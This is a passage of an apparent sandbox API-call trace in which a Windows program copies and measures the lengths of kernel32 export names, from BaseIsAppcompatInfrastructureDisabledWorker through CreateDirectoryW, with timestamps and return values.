lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0109.197] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0109.197] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0109.197] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0109.197] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0109.197] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0109.197] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0109.197] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0109.197] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0109.197] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0109.197] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0109.197] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0109.198] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0109.198] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0109.198] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0109.198] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0109.198] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0109.198] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0109.198] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0109.198] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0109.198] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0109.198] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0109.198] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0109.198] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0109.198] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0109.198] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0109.198] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0109.198] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0109.199] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0109.199] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0109.199] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0109.199] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0109.199] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0109.199] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0109.199] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0109.199] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0109.199] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0109.199] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0109.199] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0109.199] lstrlenA (lpString="BEEP") returned 4 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0109.199] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0109.199] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0109.199] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0109.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0109.200] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0109.200] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0109.200] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0109.200] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0109.200] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0109.200] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0109.200] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0109.200] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0109.200] lstrlenA (lpString="CANCELIO") returned 8 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0109.200] lstrlenA (lpString="CANCELIOEX") returned 10 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0109.200] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0109.200] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0109.200] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0109.200] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0109.200] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0109.200] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0109.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0109.201] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0109.201] lstrlenA (lpString="CHECKELEVATION") returned 14 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0109.201] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0109.201] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0109.201] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0109.201] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0109.201] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0109.201] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0109.201] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0109.201] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0109.201] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0109.201] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0109.201] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0109.201] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0109.201] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0109.201] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0109.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0109.202] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0109.202] lstrlenA (lpString="CLOSESTATE") returned 10 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0109.202] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0109.202] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0109.202] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0109.202] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0109.202] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0109.202] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0109.202] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0109.202] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0109.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0109.202] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0109.203] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0109.203] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0109.203] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0109.203] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0109.203] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0109.203] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0109.203] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0109.203] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0109.203] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0109.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0109.203] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0109.204] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0109.204] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0109.204] lstrlenA (lpString="COPYCONTEXT") returned 11 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0109.204] lstrlenA (lpString="COPYFILE2") returned 9 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0109.204] lstrlenA (lpString="COPYFILEA") returned 9 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0109.204] lstrlenA (lpString="COPYFILEEXA") returned 11 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0109.204] lstrlenA (lpString="COPYFILEEXW") returned 11 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0109.204] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0109.204] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0109.204] lstrlenA (lpString="COPYFILEW") returned 9 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0109.204] lstrlenA (lpString="COPYLZFILE") returned 10 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0109.204] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0109.204] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0109.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0109.205] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0109.205] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0109.205] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0109.205] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0109.205] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0109.205] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0109.205] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0109.205] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0109.205] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0109.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" 